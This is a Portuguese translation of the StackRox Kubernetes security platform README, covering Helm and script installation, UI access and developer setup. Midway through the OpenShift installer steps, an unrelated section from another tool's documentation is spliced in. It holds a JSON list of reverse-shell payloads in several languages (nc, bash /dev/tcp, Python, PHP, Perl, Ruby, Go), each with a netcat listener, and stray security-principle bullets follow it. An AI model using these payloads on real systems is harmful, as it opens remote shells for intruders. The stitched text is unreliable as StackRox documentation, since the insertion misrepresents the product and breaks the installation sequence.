
stackrox v4.11.3-rc.4
A Plataforma de Segurança Kubernetes StackRox realiza uma análise de risco do ambiente de contêineres, oferece visibilidade e alertas em tempo de execução e fornece recomendações para melhorar proativamente a segurança, fortalecendo o ambiente.
Índice
- StackRox Kubernetes Security Platform
StackRox Kubernetes Security Platform
A StackRox Kubernetes Security Platform realiza uma análise de risco do ambiente de contêineres, fornece visibilidade e alertas em tempo de execução, e oferece recomendações para melhorar proativamente a segurança, fortalecendo o ambiente. O StackRox integra-se a todas as fases do ciclo de vida do contêiner: build, deploy e runtime.
A StackRox Kubernetes Security Platform é construída sobre a base do produto anteriormente conhecido como Prevent, que por sua vez era chamado de Mitigate e Apollo. Você pode encontrar referências a esses nomes anteriores em código ou documentação.
Comunidade
Você pode entrar em contato conosco pelo Slack (#stackrox). Para outras formas, visite nosso Centro da Comunidade em stackrox.io.
Para atualizações de eventos, blogs e outros recursos, siga o site da comunidade StackRox em stackrox.io.
Para o Código de Conduta do StackRox.
Para relatar uma vulnerabilidade ou bug.
Implantando o StackRox
Instalação usando o Operador
A partir da versão 4.10 é possível instalar o StackRox usando o operador.
[!WARNING] Os seguintes métodos de instalação estão obsoletos.
Instalação Rápida usando Helm
O StackRox oferece instalação rápida por meio de Helm Charts. Siga o Guia de Instalação do Helm para obter o CLI helm no seu sistema.
Em seguida, execute o script de instalação rápida do helm ou prossiga para a seção Instalação Manual usando Helm para opções de configuração.
Instalar StackRox via Script de Instalação Helm
```sh /bin/bash <(curl -fsSL https://raw.githubusercontent.com/stackrox/stackrox/master/scripts/quick-helm-install.sh) ``` Uma implantação padrão do StackRox possui certas solicitações de CPU e memória e pode falhar em clusters pequenos (por exemplo, de desenvolvimento) se recursos suficientes não estiverem disponíveis. Você pode usar a opção de linha de comando `--small` para instalar o StackRox em clusters menores com recursos limitados. O uso desta opção não é recomendado para implantações de produção.```sh /bin/bash <(curl -fsSL https://raw.githubusercontent.com/stackrox/stackrox/master/scripts/quick-helm-install.sh) --small ``` O script adiciona o repositório Helm do StackRox, gera uma senha de administrador, instala o stackrox-central-services, cria um bundle de inicialização para provisionar o stackrox-secured-cluster-services e, por fim, instala o stackrox-secured-cluster-services no mesmo cluster.Por fim, o script abrirá automaticamente o navegador e fará o login no StackRox. Um aviso de certificado pode ser exibido, pois o certificado é autoassinado. Consulte a seção Acessando a Interface do Usuário (UI) do StackRox para saber mais sobre os avisos. Após autenticar, você pode acessar o painel usando https://localhost:8000/main/dashboard.
Instalação Manual usando Helm
Siga o Guia de Instalação do Helm para obter a CLI helm no seu sistema.
A implantação usando Helm consiste em 4 etapas:
- Adicionar o repositório StackRox ao Helm
- Iniciar o StackRox Central Services usando helm
- Criar uma configuração de cluster e uma identidade de serviço (bundle de inicialização)
- Implantar o StackRox Secured Cluster Services usando essa configuração e essas credenciais (esta etapa pode ser realizada várias vezes para adicionar mais clusters ao StackRox Central Service)
Instalar o StackRox Central Services
Primeiro, o StackRox Central Services será adicionado ao seu cluster Kubernetes. Isso inclui a UI e o Scanner. Para começar, adicione o repositório stackrox/helm-charts/opensource ao Helm.```sh helm repo add stackrox https://raw.githubusercontent.com/stackrox/helm-charts/main/opensource/
Para ver todos os gráficos Helm disponíveis no repositório, execute (você pode adicionar a opção `--devel` para mostrar também as versões não lançadas)```sh
helm search repo stackrox
Para instalar o stackrox-central-services, você precisará de uma senha segura. Essa senha será necessária posteriormente para login na UI e ao criar um init bundle.```sh ROX_ADMIN_PASSWORD="$(openssl rand -base64 20 | tr -d '/=+')"
A partir daqui, pode instalar o stackrox-central-services para obter os componentes Central e Scanner implantados no seu cluster.
> **Nota:**
> Precisa apenas de uma instância implantada do stackrox-central-services mesmo que planeie proteger vários clusters.
Para realizar a instalação, escolha um dos seguintes comandos dependendo do tamanho do seu cluster.
#### Instalação Padrão do Central
Se estiver a instalar num cluster de tamanho razoável, use o comando de instalação padrão:```sh
helm upgrade --install -n stackrox --create-namespace stackrox-central-services \
stackrox/stackrox-central-services \
--set central.adminPassword.value="${ROX_ADMIN_PASSWORD}" \
--set central.persistence.none="true"
Instalação Central em Clusters com Recursos Limitados
Se você estiver instalando em um cluster de nó único, ou se a instalação padrão resultar em pods travados no estado pendente devido à falta de recursos, use o seguinte comando para reduzir os requisitos de recursos do stackrox-central-services. Lembre-se de que essas configurações de recursos reduzidos não são adequadas para um ambiente de produção.```sh
helm upgrade --install -n stackrox --create-namespace stackrox-central-services
stackrox/stackrox-central-services
--set central.adminPassword.value="${ROX_ADMIN_PASSWORD}"
--set central.persistence.none="true"
--set central.resources.requests.memory=1Gi
--set central.resources.requests.cpu=1
--set central.resources.limits.memory=4Gi
--set central.resources.limits.cpu=1
--set central.db.resources.requests.memory=1Gi
--set central.db.resources.requests.cpu=500m
--set central.db.resources.limits.memory=4Gi
--set central.db.resources.limits.cpu=1
--set scanner.autoscaling.disable=true
--set scanner.replicas=1
--set scanner.resources.requests.memory=500Mi
--set scanner.resources.requests.cpu=500m
--set scanner.resources.limits.memory=2500Mi
--set scanner.resources.limits.cpu=2000m
</details>
<details><summary>Instalar Serviços de Cluster Seguro do StackRox</summary>
Em seguida, o componente do cluster seguro precisará ser implantado para coletar informações dos nós do Kubernetes.
Defina um nome de cluster significativo para o seu cluster seguro na variável de shell `CLUSTER_NAME`. O cluster será identificado por este nome na lista de clusters do StackRox UI.```sh
CLUSTER_NAME="my-secured-cluster"
Configure o endpoint para o qual os Serviços de Cluster Protegido da Central devem se comunicar. Se você estiver implantando stackrox-secured-cluster-services no mesmo cluster que stackrox-central-services, deixe como mostrado; caso contrário, altere o valor para o endpoint através do qual a Central está acessível.```sh CENTRAL_ENDPOINT="central.stackrox.svc:443"
Gere um init bundle contendo segredos de inicialização. O init bundle será salvo em `stackrox-init-bundle.yaml`, e você o usará para provisionar clusters seguros conforme mostrado abaixo.```sh
echo "$ROX_ADMIN_PASSWORD" | \
kubectl -n stackrox exec -i deploy/central -- bash -c 'ROX_ADMIN_PASSWORD=$(cat) roxctl --insecure-skip-tls-verify \
central init-bundles generate stackrox-init-bundle --output -' > stackrox-init-bundle.yaml
Em seguida, instale stackrox-secured-cluster-services (com o pacote de inicialização que você acabou de gerar).
Para realizar a instalação, escolha um dos seguintes comandos dependendo do tamanho do seu cluster.
Instalação Padrão dos Serviços do Cluster Seguro
Se você estiver instalando em um cluster de tamanho razoável, use o comando de instalação padrão:```sh
helm upgrade --install -n stackrox --create-namespace stackrox-secured-cluster-services
stackrox/stackrox-secured-cluster-services
-f stackrox-init-bundle.yaml
--set clusterName="$CLUSTER_NAME"
--set centralEndpoint="$CENTRAL_ENDPOINT"
#### Instalação dos Serviços do Cluster Seguro em Clusters com Recursos Limitados
Se você estiver instalando em um cluster de nó único, ou a instalação padrão resultar em pods presos no estado pendente devido à falta de recursos, use o seguinte comando para reduzir os requisitos de recursos do stackrox-secured-cluster-services. Lembre-se de que essas configurações de recursos reduzidos não são adequadas para um ambiente de produção.```sh
helm upgrade --install -n stackrox --create-namespace stackrox-secured-cluster-services \
stackrox/stackrox-secured-cluster-services \
-f stackrox-init-bundle.yaml \
--set clusterName="$CLUSTER_NAME" \
--set centralEndpoint="$CENTRAL_ENDPOINT" \
--set sensor.resources.requests.memory=500Mi \
--set sensor.resources.requests.cpu=500m \
--set sensor.resources.limits.memory=500Mi \
--set sensor.resources.limits.cpu=500m
Informações adicionais sobre gráficos Helm
Para personalizar ainda mais a sua instalação Helm, consulte estes documentos:
Instalação via Scripts
O script deploy irá:
- Iniciar os Serviços Centrais do StackRox
- Criar uma configuração de cluster e uma identidade de serviço
- Implantar os Serviços de Cluster Protegido do StackRox usando essa configuração e essas credenciais
Você pode definir a variável de ambiente MAIN_IMAGE_TAG no seu shell para
garantir que obtenha a versão desejada.
Se você fizer checkout de um commit, os scripts irão iniciar a imagem correspondente a esse commit por padrão. A imagem será puxada se necessário.
Outras etapas são específicas do orquestrador.
Distribuições Kubernetes (EKS, AKS, GKE)
Clique para expandir
Siga o guia abaixo para implantar rapidamente uma versão específica do StackRox no seu cluster Kubernetes no namespace stackrox. Se você quiser instalar uma versão específica, certifique-se de defini-la/configurá-la em MAIN_IMAGE_TAG, caso contrário, será instalada a última compilação noturna.
Execute o seguinte no seu diretório de trabalho de preferência:``` git clone [email protected]:stackrox/stackrox.git cd stackrox MAIN_IMAGE_TAG=VERSION_TO_USE ./deploy/deploy.sh
Após alguns minutos, todos os recursos devem ser implantados.
**As credenciais do usuário 'admin' podem ser encontradas no arquivo `./deploy/k8s/central-deploy/password`.**
> **Nota:**
> O arquivo de senha é armazenado em texto simples no seu sistema de arquivos local, mas o Segredo Kubernetes que o StackRox cria a partir dele é criptografado. Você não poderá alterar a senha em tempo de execução. Se perder a senha, terá que reimplantar o central.
</details>
#### OpenShift
<details><summary>Clique para Expandir</summary>
Antes de implantar no OpenShift, certifique-se de ter o [oc - Linha de Comando OpenShift](https://github.com/openshift/oc) instalado.
Siga o guia abaixo para implantar rapidamente uma versão específica do StackRox no seu cluster OpenShift no namespace `stackrox`. Certifique-se de adicionar a tag mais recente à variável `MAIN_IMAGE_TAG`.
Execute o seguinte no diretório de trabalho de sua escolha:```
git clone [email protected]:stackrox/stackrox.git
cd stackrox
MAIN_IMAGE_TAG=VERSION_TO_USE ./deploy/deploy.sh
Após alguns minutos, todos os recursos devem ser implantados. O processo será concluído com esta mensagem.
As credenciais para o usuário 'admin' podem ser encontradas no arquivo ./deploy/openshift/central-deploy/password.
Nota: Embora o arquivo de senha seja armazenado em texto simples no seu sistema de arquivos local, o Segredo do Kubernetes que o StackRox usa é criptografado e você não conseguirá alterar o segredo em tempo de execução. Se você perder a senha, terá que reimplantar o central.
Docker Desktop, Colima ou minikube
Clique para Expandir
Execute o seguinte no diretório de trabalho de sua escolha:``` git clone [email protected]:stackrox/stackrox.git cd stackrox MAIN_IMAGE_TAG=latest ./deploy/deploy-local.sh
Após alguns minutos, todos os recursos devem ser implantados.
**As credenciais do usuário 'admin' podem ser encontradas no arquivo `./deploy/k8s/deploy-local/password`.**
</details>
## Acessando a Interface de Usuário (UI) do StackRox
<details><summary>Clique para expandir</summary>
Após a conclusão da implantação (operador, Helm ou instalação via script) um port-forward deve existir, para que você possa conectar-se a https://localhost:8000/. Execute o seguinte```sh
kubectl port-forward -n 'stackrox' svc/central "8000:443"
Em seguida, aceda a https://localhost:8000/ no seu navegador web.
Nome de utilizador = O utilizador predefinido é admin
Palavra-passe (Helm) = A palavra-passe está em $ROX_ADMIN_PASSWORD após uma instalação manual, ou é impressa no final do script de instalação rápida.
Palavra-passe (Script) = A palavra-passe estará localizada na pasta /deploy/<orchestrator>/central-deploy/password.txt para a instalação por script.
Desenvolvimento
- Comece pelas diretrizes de pull request se planeia fazer uma contribuição
- Consulte o shepherding para submissões de código não triviais
- Veja a nossa política de IA
- Guia de estilo de codificação Go: go-coding-style.md
- Documentação de Desenvolvimento UI: Consulte ui/README.md
- Documentação de Desenvolvimento E2E: Consulte qa-tests-backend/README.md
Início rápido
Ferramentas de Compilação
As seguintes ferramentas são necessárias para testar código e construir imagem(ns):
Clique para expandir
- Make
- Go
- Vários linters Go que podem ser instalados usando
make reinstall-dev-tools. - Ferramentas de compilação UI conforme especificado em ui/README.md.
- Docker
- Nota: O Docker Desktop agora exige uma subscrição paga para empresas de maior porte.
- Alguns desenvolvedores da StackRox recomendam Colima
- Ferramentas de linha de comando do Xcode (apenas macOS)
- Bats é usado para executar certos testes de shell.
Pode obtê-lo com
brew install batsounpm install -g bats. - oc ferramenta cli OpenShift
- shellcheck para linting de scripts shell.
Xcode - Apenas macOS
Normalmente já as teria instaladas pelo brew. No entanto, se tiver um erro ao compilar as ferramentas x/tools do golang, tente primeiro garantir que o EULA é aceite através de:
- iniciar o Xcode
- compilar um novo projeto de aplicação em branco
- iniciar a aplicação do projeto em branco no emulador
- fechar tanto o emulador como o Xcode, depois
- executar os seguintes comandos: ```bash xcode-select --install sudo xcode-select --switch /Library/Developer/CommandLineTools # Enable command line tools sudo xcode-select -s /Applications/Xcode.app/Contents/Developer
Para mais informações, consulte <https://github.com/nodejs/node-gyp/issues/569>
</details>
#### Clonar StackRox
<details><summary>Clique para expandir</summary>```bash
# Create a GOPATH: this is the location of your Go "workspace".
# (Note that it is not – and must not – be the same as the path Go is installed to.)
# The default is to have it in ~/go/, or ~/development, but anything you prefer goes.
# Whatever you decide, create the directory, set GOPATH, and update PATH:
export GOPATH=$HOME/go # Change this if you choose to use a different workspace.
export PATH=$PATH:$GOPATH/bin
# You probably want to permanently set these by adding the following commands to your shell
# configuration (e.g. ~/.bash_profile)
cd $GOPATH
mkdir -p bin pkg
mkdir -p src/github.com/stackrox
cd src/github.com/stackrox
git clone [email protected]:stackrox/stackrox.git
Desenvolvimento Local
Clique para expandir
Para melhorar sua experiência, instale os scripts de fluxo de trabalho com antecedência.```bash $ cd $GOPATH/src/github.com/stackrox/stackrox $ make install-dev-tools $ make image
Agora, você precisa subir um cluster Kubernetes *você mesmo* antes de prosseguir.
O desenvolvimento pode ocorrer no GCP ou localmente com
[Docker Desktop](https://docs.docker.com/desktop/kubernetes/), [Colima](https://github.com/abiosoft/colima#kubernetes), [minikube](https://minikube.sigs.k8s.io/docs/start/).
> **Nota:**
> O Docker Desktop e o Colima são mais adequados para desenvolvimento no macOS, pois o cluster terá acesso a imagens construídas com `make image` localmente sem configuração adicional. Além disso, o Collector tem melhor suporte para estes do que minikube onde os drivers podem não estar disponíveis.```bash
# To keep the StackRox Central's Postgres DB state between database upgrades and restarts, set:
$ export STORAGE=pvc
# To save time on rebuilds by skipping UI builds, set:
$ export SKIP_UI_BUILD=1
# To save time on rebuilds by skipping CLI builds, set:
$ export SKIP_CLI_BUILD=1
# When you deploy locally make sure your kube context points to the desired kubernetes cluster,
# for example Docker Desktop.
# To check the current context you can call a workflow script:
$ roxkubectx
# To deploy locally, call:
$ ./deploy/deploy-local.sh
# Now you can access StackRox dashboard at https://localhost:8000
# or simply call another workflow script:
$ logmein
Consulte Instalação via Scripts para leitura adicional. Para ler mais sobre as variáveis de ambiente, consulte deploy/README.md.
Alvos Comuns do Makefile
Clique para expandir
```bash # Build image, this will create `stackrox/main` with a tag defined by `make tag`. $ make imageCompile all binaries
$ make main-build-dockerized
Displays the docker image tag which would be generated
$ make tag
Note: there are integration tests in some components, and we currently
run those manually. They will be re-enabled at some point.
$ make test
Apply and check style standards in Go and JavaScript
$ make style
enable pre-commit hooks for style checks
$ make init-githooks
Compile and restart only central
$ make fast-central
Compile only sensor
$ make fast-sensor
Only compile protobuf
$ make proto-generated-srcs
</details>
#### Produtividade
<details><summary>Clique para expandir</summary>
O [repositório de workflow](https://github.com/stackrox/workflow) contém alguns scripts auxiliares
que dão suporte ao nosso fluxo de desenvolvimento. Explore mais comandos com `roxhelp --list-all`.```bash
# Change directory to rox root
$ cdrox
# Handy curl shortcut for your StackRox central instance
# Uses https://localhost:8000 by default or ROX_BASE_URL env variable
# Also uses the admin credentials from your last deployment via deploy.sh
$ roxcurl /v1/metadata
# Run quickstyle checks, faster than stackrox's "make style"
$ quickstyle
# The workflow repository includes some tools for supporting
# working with multiple inter-dependent branches.
# Examples:
$ smart-branch <branch-name> # create new branch
... work on branch...
$ smart-rebase # rebase from parent branch
... continue working on branch...
$ smart-diff # check diff relative to parent branch
... git push, etc.
Configuração do GoLand
Clique para expandir
Se você está usando o GoLand para desenvolvimento, a seguir estão algumas dicas que podem melhorar a experiência.
Certifique-se de que o plugin Protocol Buffers está instalado. Ele vem instalado por padrão no GoLand.
Se não estiver, use Help | Find Action..., digite Plugins e pressione Enter, então mude para Marketplace, digite o nome e instale o plugin.
Este plugin não sabe onde procurar por imports .proto por padrão no GoLand, portanto você precisa configurar explicitamente os caminhos para este plugin. Veja https://github.com/jvolkman/intellij-protobuf-editor#path-settings.
- Vá para
GoLand | Preferences | Languages & Frameworks | Protocol Buffers. - Desmarque
Configure automatically. - Clique no botão
+, navegue e selecione o diretório./protona raiz do repositório. - Opcionalmente, adicione também
$HOME/go/pkg/mod/github.com/gogo/[email protected]e$HOME/go/pkg/mod/github.com/gogo/[email protected]/. - Para verificar: use o menu
Navigate | File..., digite qualquer nome de arquivo.proto, por exemploalert_service.proto, e verifique se todas as strings de importação são mostradas em verde, não vermelho.
Executando testes sql_integration
Clique para expandir
Testes Go anotados com //go:build sql_integration exigem um servidor PostgreSQL ouvindo na porta 5432.
Devido à forma como a autenticação é configurada no código, é mais fácil iniciar o Postgres em um contêiner assim:```bash
$ docker run --rm --env POSTGRES_USER="$USER" --env POSTGRES_HOST_AUTH_METHOD=trust --publish 5432:5432 docker.io/library/postgres:15
Com isso em execução em segundo plano, os testes `sql_integration` podem ser acionados a partir da IDE ou da linha de comando.
</details>
#### Depuração
<details><summary>Clique para expandir</summary>
**Configuração do depurador Kubernetes**
Com o GoLand, você pode usar naturalmente pontos de interrupção e o depurador ao executar testes unitários na IDE.
Se você deseja depurar uma implantação local ou até mesmo remota, siga o procedimento abaixo.
1. Crie uma compilação de depuração localmente exportando `DEBUG_BUILD=yes`: ```bash
$ DEBUG_BUILD=yes make image
Alternativamente, a build de depuração também será criada quando o nome do branch contiver a substring -debug. Isso funciona localmente com make image e no CI.
2. Implante a imagem usando as instruções deste arquivo README. Funciona tanto com deploy-local.sh quanto com deploy.sh.
3. Inicie o depurador (e o encaminhamento de porta) no pod alvo usando o comando roxdebug do repositório workflow. ```bash
For Central
$ roxdebug
For Sensor
$ roxdebug deploy/sensor
See usage help
$ roxdebug --help
4. Configure o GoLand para depuração remota (deve ser feito apenas uma vez):
1. Abra `Run | Edit Configurations …`, clique no ícone `+` para adicionar uma nova configuração, escolha o modelo `Go Remote`.
2. Escolha `Host:` `localhost` e `Port:` `40000`. Dê um nome a esta configuração.
3. Selecione `On disconnect:` `Leave it running` (isso impede que o GoLand esqueça os pontos de interrupção ao reconectar).
5. Anexe o GoLand à porta de depuração: selecione `Run | Debug…` e escolha a configuração que você criou.
Se tudo foi feito corretamente, você verá a mensagem `Connected` na janela `Debug | Debugger | Variables` na parte inferior
da tela.
6. Defina alguns pontos de interrupção no código, acione as ações correspondentes e boa depuração!
Veja [Debugging go code running in Kubernetes](https://github.com/stackrox/dev-docs/blob/main/docs/knowledge-base/%5BBE%5D%20Debugging-go-code-running-in-Kubernetes.md) para
mais informações.
</details>
## Gerando Instaladores Portáteis
<details><summary>Kubernetes</summary>```bash
docker run -i --rm quay.io/stackrox-io/main:<tag> central generate interactive > k8s.zip
Isso irá guiá-lo através de um instalador e gerar um arquivo k8s.zip.```bash
unzip k8s.zip -d k8s
INPUT:```bash
bash k8s/central.sh
Agora o Central foi implantado. Use a interface para implantar o Sensor.
OpenShift
Nota: Se estiver usando um mount de host, você precisa permitir que o contêiner o acesse usando
sudo chcon -Rt svirt_sandbox_file_t <full volume path>
Pegue o script image-setup.sh deste repositório e execute-o para fazer o pull/push para o registro local do OpenShift. Este é um pré-requisito para cada novo cluster.```bash bash image-setup.sh
### Shell Reverso
O comando `secator` de shell reverso permite gerar um payload para enviar a um alvo e iniciar um ouvinte para conexões de entrada.
Você pode aplicar um `filtro` na saída para manter apenas entradas válidas. Para entender como os filtros funcionam, consulte a [seção de filtragem](#Filtering).
Configuração:
```json
{
"name": "reverse_shell",
"description": "Reverse shell commands",
"tags": [
"rev",
"shell",
"payload"
],
"commands": {
"nc": {
"command": "nc {{target}} {{port}} -e /bin/bash",
"listener": "nc -lvnp {{port}}"
},
"bash": {
"command": "bash -i >& /dev/tcp/{{target}}/{{port}} 0>&1",
"listener": "nc -lvnp {{port}}"
},
"py": {
"command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{{target}}\",{{port}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",
"listener": "nc -lvnp {{port}}"
},
"php": {
"command": "php -r '$sock=fsockopen(\"{{target}}\",{{port}});exec(\"/bin/sh -i <&3 >&3 2>&3\");'",
"listener": "nc -lvnp {{port}}"
},
"perl": {
"command": "perl -e 'use Socket;$i=\"{{target}}\";$p={{port}};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'",
"listener": "nc -lvnp {{port}}"
},
"ruby": {
"command": "ruby -rsocket -e'f=TCPSocket.open(\"{{target}}\",{{port}}).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'",
"listener": "nc -lvnp {{port}}"
},
"go": {
"command": "echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"{{target}}:{{port}}\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go",
"listener": "nc -lvnp {{port}}"
}
}
}
Iniciando um listener
Você pode gerar um payload de shell reverso para uma linguagem específica e iniciar um listener para ele usando o comando rev:
$ secator rev shell py
Outra opção (mais poderosa) é usar o workflow de shell reverso:
$ secator w rev_shell target
``````bash
docker run -i --rm quay.io/stackrox-io/main:<tag> central generate interactive > openshift.zip
Isso irá guiá-lo através de um instalador e gerar um arquivo openshift.zip.```bash
unzip openshift.zip -d openshift
- **Não repúdio**: Uso de assinaturas criptográficas para garantir que as ações possam ser rastreadas até um usuário específico.
- **Poucas contas e senhas**: Evite contas e senhas compartilhadas; cada usuário tem suas próprias credenciais.```bash
bash openshift/central.sh
Dependências e Recomendações para Executar o StackRox
Clique para Expandir
As seguintes informações foram reunidas para auxiliar na instalação e operação do projeto open source StackRox. Estas recomendações foram desenvolvidas para o produto Red Hat Advanced Cluster Security for Kubernetes e não foram testadas com o projeto upstream StackRox.
Distribuições Kubernetes Recomendadas
As plataformas Kubernetes nas quais o StackRox foi implantado com o mínimo de problemas estão listadas abaixo.
- Red Hat OpenShift Dedicated (OSD)
- Azure Red Hat OpenShift (ARO)
- Red Hat OpenShift Service on AWS (ROSA)
- Amazon Elastic Kubernetes Service (EKS)
- Google Kubernetes Engine (GKE)
- Microsoft Azure Kubernetes Service (AKS)
Se você implantar em uma distribuição Kubernetes diferente das listadas acima, poderá encontrar problemas.
Sistemas Operacionais Recomendados
Sabe-se que o StackRox funciona nas versões recentes dos seguintes sistemas operacionais.
- Ubuntu
- Debian
- Red Hat Enterprise Linux (RHEL)
- CentOS
- Fedora CoreOS
- Flatcar Container Linux
- Google COS
- Amazon Linux
- Garden Linux
Navegadores Web Recomendados
A tabela a seguir lista os navegadores que podem visualizar a interface web do StackRox.
- Google Chrome 88.0 (64-bit)
- Microsoft Internet Explorer Edge
- Versão 44 e posteriores (Windows)
- Versão 81 (Compilação oficial) (64-bit)
- Safari no MacOS (Mojave) - Versão 14.0
- Mozilla Firefox Versão 82.0.2 (64-bit)